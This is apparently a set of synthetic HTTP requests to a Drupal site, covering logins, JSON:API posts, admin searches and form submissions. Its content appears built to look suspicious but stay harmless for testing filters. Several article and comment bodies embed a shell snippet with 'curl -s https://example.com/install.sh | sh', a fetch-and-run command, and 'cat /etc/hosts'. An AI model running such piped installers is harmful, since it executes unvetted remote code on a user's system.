{"method": "POST", "target": "/user/login?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"name\": \"admin\", \"pass\": \"python3-/etc/hosts-1\"}"}
{"method": "POST", "target": "/jsonapi/node/article", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json", "Content-Type: application/vnd.api+json", "X-Csrf-Token: lRai9w8Ufs5XV4lf0RjtPEHPjM5YyEGC1vnmmCEgd08"], "body": "{\"data\": {\"type\": \"node--article\", \"attributes\": {\"title\": \"SELECT a table: python3, ls -la and .htaccess\", \"body\": {\"value\": \"<h2>Notes on python3 and powershell</h2><p>Run <code>ls -la</code> then <a href=\\\"/python3-notes\\\">read the notes</a> or <a href=\\\"https://example.com/docs/setup.php?a=1&amp;b=2\\\">the docs</a>.</p><pre><code class=\\\"language-bash\\\">#!/bin/sh\\ncat /etc/hosts | grep example &amp;&amp; ls -la\\npython3 setup.py install\\ncurl -s https://example.com/install.sh | sh\\nSELECT name, mail FROM users WHERE uid = 1;\\nconsole.log('ok'); document.getElementById('x');\\nif (a == b) { echo $PATH; }\\n</code></pre><blockquote><p>Select a table from the catalog, then union the results.</p></blockquote><ul><li>one</li><li>two</li></ul><table><tbody><tr><td>python3</td><td>3.13</td></tr></tbody></table><p><img src=\\\"/sites/default/files/inline-images/photo.png\\\" alt=\\\"A photo\\\" width=\\\"1\\\" height=\\\"1\\\" data-entity-type=\\\"file\\\" data-entity-uuid=\\\"11111111-2222-4333-8444-555555555555\\\"></p>\", \"format\": \"full_html\", \"summary\": \"Notes on python3 and powershell\"}}}}"}
{"method": "PATCH", "target": "/jsonapi/node/article/d71c9e89-d9bd-4822-ba15-54bef9d26522", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json", "Content-Type: application/vnd.api+json", "X-Csrf-Token: lRai9w8Ufs5XV4lf0RjtPEHPjM5YyEGC1vnmmCEgd08"], "body": "{\"data\": {\"type\": \"node--article\", \"id\": \"d71c9e89-d9bd-4822-ba15-54bef9d26522\", \"attributes\": {\"title\": \"Edited: docker-compose.yml\", \"body\": {\"value\": \"<h2>Notes on python3 and powershell</h2><p>Run <code>ls -la</code> then <a href=\\\"/python3-notes\\\">read the notes</a> or <a href=\\\"https://example.com/docs/setup.php?a=1&amp;b=2\\\">the docs</a>.</p><pre><code class=\\\"language-bash\\\">#!/bin/sh\\ncat /etc/hosts | grep example &amp;&amp; ls -la\\npython3 setup.py install\\ncurl -s https://example.com/install.sh | sh\\nSELECT name, mail FROM users WHERE uid = 1;\\nconsole.log('ok'); document.getElementById('x');\\nif (a == b) { echo $PATH; }\\n</code></pre><blockquote><p>Select a table from the catalog, then union the results.</p></blockquote><ul><li>one</li><li>two</li></ul><table><tbody><tr><td>python3</td><td>3.13</td></tr></tbody></table><p><img src=\\\"/sites/default/files/inline-images/photo.png\\\" alt=\\\"A photo\\\" width=\\\"1\\\" height=\\\"1\\\" data-entity-type=\\\"file\\\" data-entity-uuid=\\\"11111111-2222-4333-8444-555555555555\\\"></p>\", \"format\": \"full_html\"}}}}"}
{"method": "POST", "target": "/jsonapi/comment/comment", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json", "Content-Type: application/vnd.api+json", "X-Csrf-Token: lRai9w8Ufs5XV4lf0RjtPEHPjM5YyEGC1vnmmCEgd08"], "body": "{\"data\": {\"type\": \"comment--comment\", \"attributes\": {\"entity_type\": \"node\", \"field_name\": \"comment\", \"subject\": \"Python3 question\", \"comment_body\": {\"value\": \"<h2>Notes on python3 and powershell</h2><p>Run <code>ls -la</code> then <a href=\\\"/python3-notes\\\">read the notes</a> or <a href=\\\"https://example.com/docs/setup.php?a=1&amp;b=2\\\">the docs</a>.</p><pre><code class=\\\"language-bash\\\">#!/bin/sh\\ncat /etc/hosts | grep example &amp;&amp; ls -la\\npython3 setup.py install\\ncurl -s https://example.com/install.sh | sh\\nSELECT name, mail FROM users WHERE uid = 1;\\nconsole.log('ok'); document.getElementById('x');\\nif (a == b) { echo $PATH; }\\n</code></pre><blockquote><p>Select a table from the catalog, then union the results.</p></blockquote><ul><li>one</li><li>two</li></ul><table><tbody><tr><td>python3</td><td>3.13</td></tr></tbody></table><p><img src=\\\"/sites/default/files/inline-images/photo.png\\\" alt=\\\"A photo\\\" width=\\\"1\\\" height=\\\"1\\\" data-entity-type=\\\"file\\\" data-entity-uuid=\\\"11111111-2222-4333-8444-555555555555\\\"></p>\", \"format\": \"basic_html\"}}, \"relationships\": {\"entity_id\": {\"data\": {\"type\": \"node--article\", \"id\": \"d71c9e89-d9bd-4822-ba15-54bef9d26522\"}}}}}"}
{"method": "GET", "target": "/user/password?name=Example%20notes", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
{"method": "GET", "target": "/ckeditor5/basic_html/entity-link-suggestions?q=Example%20notes", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/block-category/autocomplete?q=Example%20notes", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json", "Referer: http://example.com/admin/structure/block", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/media/oembed?url=https%3A%2F%2Fvimeo.com%2Fchannels%2FExample%20notes&max_width=0&max_height=0&hash=example-hash", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/big_pipe/no-js?destination=/admin/content%3Ftitle%3DExample%20notes", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
{"method": "GET", "target": "/big_pipe/no-js?destination=/admin/content%3Ftitle%3DExample%20notes", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/node/2/revisions/3/revert?destination=/admin/content%3Ftitle%3DExample%20notes", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/node/2/revisions/3/delete?destination=/admin/content%3Ftitle%3DExample%20notes", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/block/add/basic?destination=/admin/content/block%3Finfo%3DExample%20notes", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/media-library?media_library_opener_id=media_library.opener.field_widget&media_library_allowed_types%5Bimage%5D=image&media_library_selected_type=image&media_library_remaining=1&hash=example-hash&name=Example%20notes", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/views/ajax?_wrapper_format=drupal_ajax&name=Example%20notes&view_name=media_library&view_display_id=widget&view_args=image&view_path=%2Fadmin%2Fcontent%2Fmedia-widget&_drupal_ajax=1", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Cookie: SESSexample=example-session-value", "X-Requested-With: XMLHttpRequest"], "body": ""}
{"method": "GET", "target": "/fr/admin/content?title=Example%20notes", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/content/media?name=Example%20notes", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/people?user=Example%20notes", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/content/files?filename=Example%20notes", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/content/block?info=Example%20notes", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/content/comment?subject=Example%20notes", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/config/search/path?search=Example%20notes", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/search/node?keys=Example%20notes", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/entity_reference_autocomplete/taxonomy_term/default%3Ataxonomy_term/kTbsiUk3K87GlBBAjYhMayIWDWamtdsBC31lWLRHdzg?q=Example%20notes", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/jsonapi/node/article?filter%5Btitle%5D=Example%20notes", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/user/password?name=Example%20notes", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/block-category/autocomplete?q=Example%20notes", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/node/2/edit?destination=/admin/content%3Ftitle%3DExample%20notes", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/content?destination=/admin/content%3Ftitle%3DExample%20notes", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "POST", "target": "/user/login", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/login"], "body": "form_build_id=form--MgUmKVBHL8-ZmCxTbdLPxRiftVEH4MgTBHruTxJauE&form_id=user_login_form&name=Example+notes&pass=example-password-1&op=Log+in"}
{"method": "POST", "target": "/user/login?_format=json", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Content-Type: application/json", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json"], "body": "{\"name\": \"Example notes\", \"pass\": \"example-password-1\"}"}
{"method": "POST", "target": "/user/register", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/register"], "body": "user_picture%5B0%5D%5Bfids%5D=&user_picture%5B0%5D%5Bdisplay%5D=1&form_build_id=form-KvM4cYzHX--qJZbsRjkUpjiC8Ur7siCJJhCJLblQr8E&form_id=user_register_form&contact=1&name=Example+notes&mail=new.person%40example.com&op=Create+new+account"}
{"method": "POST", "target": "/user/password", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/password"], "body": "form_build_id=form-iBeLc4CsvDOc-xZT-zhb6QxjNg_jwYe0TaIHAE_vpp8&form_id=user_pass&name=Example+notes&op=Submit"}
{"method": "POST", "target": "/admin/structure/taxonomy/manage/tags/add", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/structure/taxonomy/manage/tags/add", "Cookie: SESSexample=example-session-value"], "body": "description%5B0%5D%5Bformat%5D=basic_html&form_build_id=form-ExM1yju0J7E_BWsAPDga4ruGt4jNC4ZYZm2O6h3Hbgs&form_token=SojzbaQwCVukpv8FTEjCJRTSIDNbLkYQsIQVk_bs9gk&form_id=taxonomy_term_tags_form&parent%5B%5D=0&weight=0&revision_log_message%5B0%5D%5Bvalue%5D=&path%5B0%5D%5Balias%5D=&advanced__active_tab=&status%5Bvalue%5D=1&name%5B0%5D%5Bvalue%5D=Example+notes&description%5B0%5D%5Bvalue%5D=Example+notes&op=Save"}
{"method": "POST", "target": "/taxonomy/term/1/edit", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/taxonomy/term/1/edit", "Cookie: SESSexample=example-session-value"], "body": "description%5B0%5D%5Bformat%5D=basic_html&form_build_id=form-DsAWf9i7VTcgEpa_v2ezxxkRyrzx-e8Wydrq98CIpI0&form_token=SojzbaQwCVukpv8FTEjCJRTSIDNbLkYQsIQVk_bs9gk&form_id=taxonomy_term_tags_form&parent%5B%5D=0&weight=0&revision_log_message%5B0%5D%5Bvalue%5D=&path%5B0%5D%5Balias%5D=&advanced__active_tab=&status%5Bvalue%5D=1&name%5B0%5D%5Bvalue%5D=Example+notes&description%5B0%5D%5Bvalue%5D=Example+notes&op=Save"}
{"method": "POST", "target": "/block/add/basic", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/block/add/basic", "Cookie: SESSexample=example-session-value"], "body": "body%5B0%5D%5Bformat%5D=basic_html&form_build_id=form-r_rjIfS0iUft64xRiTbaT2lvCMr4ysWHJ-KnCvzaiNo&form_token=q0WBE_UHNxlwI7gIKjkOQ3vzcjjqF6MA-tkc-jlDkss&form_id=block_content_basic_form&revision_log%5B0%5D%5Bvalue%5D=&advanced__active_tab=&info%5B0%5D%5Bvalue%5D=Example+notes&body%5B0%5D%5Bvalue%5D=%3Cp%3EExample+notes%3C%2Fp%3E&op=Save"}
{"method": "POST", "target": "/admin/content/block/1", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/content/block/1", "Cookie: SESSexample=example-session-value"], "body": "body%5B0%5D%5Bformat%5D=basic_html&form_build_id=form-qHOBnxb51eUvXCKxKEbfbUtM6lzFgwT7itFH0f_FaPU&form_token=CTFthAPih-MpIpDfZfC3X-u7Zu-ZkxceTSLp5LSz6sA&form_id=block_content_basic_edit_form&revision_log%5B0%5D%5Bvalue%5D=&advanced__active_tab=&info%5B0%5D%5Bvalue%5D=Example+notes&body%5B0%5D%5Bvalue%5D=%3Cp%3EExample+notes%3C%2Fp%3E&op=Save"}
{"method": "POST", "target": "/contact/feedback", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/contact/feedback", "Cookie: SESSexample=example-session-value"], "body": "form_build_id=form-ABi6ln4cnnmfKcYRv2HvQFgXlHI5BTFDfMg-LwBU4aI&form_token=BioWXw_l1qeQpXCVk6MecFnqzo3v4Xx4789RNdhMzbI&form_id=contact_message_feedback_form&subject%5B0%5D%5Bvalue%5D=Example+notes&message%5B0%5D%5Bvalue%5D=Example+notes&op=Send+message"}
{"method": "POST", "target": "/user/2/contact", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/2/contact", "Cookie: SESSexample=example-session-value"], "body": "form_build_id=form-arO8ZdOSVcFdDqJoz7AJLALB_5Jlut5LXJSnVQmFK8w&form_token=9fGYktyPYGrqY39Trq3LbZ-pPEiu26dKeoTIYs2yUSI&form_id=contact_message_personal_form&subject%5B0%5D%5Bvalue%5D=Hello&message%5B0%5D%5Bvalue%5D=Example+notes&op=Send+message"}
{"method": "POST", "target": "/user/2/edit", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/2/edit", "Cookie: SESSexample=example-session-value"], "body": "mail=editor%40example.com&pass%5Bpass1%5D=&pass%5Bpass2%5D=&status=1&roles%5Bauthenticated%5D=authenticated&user_picture%5B0%5D%5Bfids%5D=&preferred_langcode=en&form_build_id=form-Tww5TAI2JlLptGMeqDr8TrYVQtivoUUfQBqMEdAZEBc&form_token=YEqI2vgLK6MdCg3eFgVGdWvoBXnUz3jPMJlC-pxJpKQ&form_id=user_form&contact=1&timezone=UTC&name=Example+notes&op=Save"}
{"method": "POST", "target": "/user/2/edit", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/2/edit", "Cookie: SESSexample=example-session-value"], "body": "name=editor&pass%5Bpass1%5D=&pass%5Bpass2%5D=&status=1&roles%5Bauthenticated%5D=authenticated&user_picture%5B0%5D%5Bfids%5D=&preferred_langcode=en&form_build_id=form-vfSxkkRUliHZ94RNDGQPYf7s4xzppLcOTEr_tFXggpE&form_token=YEqI2vgLK6MdCg3eFgVGdWvoBXnUz3jPMJlC-pxJpKQ&form_id=user_form&contact=1&timezone=UTC&mail=Example-notes%40example.com&op=Save"}
{"method": "POST", "target": "/comment/reply/node/2/comment", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/node/2"], "body": "form_build_id=form-fWXW0_t0POXGE2CvbdNIt5pM-3z4tFgsdTt-dbA8r7U&form_id=comment_comment_form&name=Example+notes&subject%5B0%5D%5Bvalue%5D=Hello&comment_body%5B0%5D%5Bvalue%5D=Hello&op=Save"}
{"method": "PATCH", "target": "/node/2?_format=json", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Content-Type: application/json", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json", "Cookie: SESSexample=example-session-value", "Authorization: Basic YWRtaW46ZXhhbXBsZS1wYXNzd29yZC0x"], "body": "{\"type\": [{\"target_id\": \"article\"}], \"title\": [{\"value\": \"Example notes\"}]}"}
{"method": "POST", "target": "/jsonapi/taxonomy_term/tags", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Content-Type: application/vnd.api+json", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/vnd.api+json", "Cookie: SESSexample=example-session-value", "Authorization: Basic YWRtaW46ZXhhbXBsZS1wYXNzd29yZC0x"], "body": "{\"data\": {\"type\": \"taxonomy_term--tags\", \"attributes\": {\"name\": \"Example notes\", \"description\": {\"value\": \"Example notes\", \"format\": \"plain_text\"}}}}"}
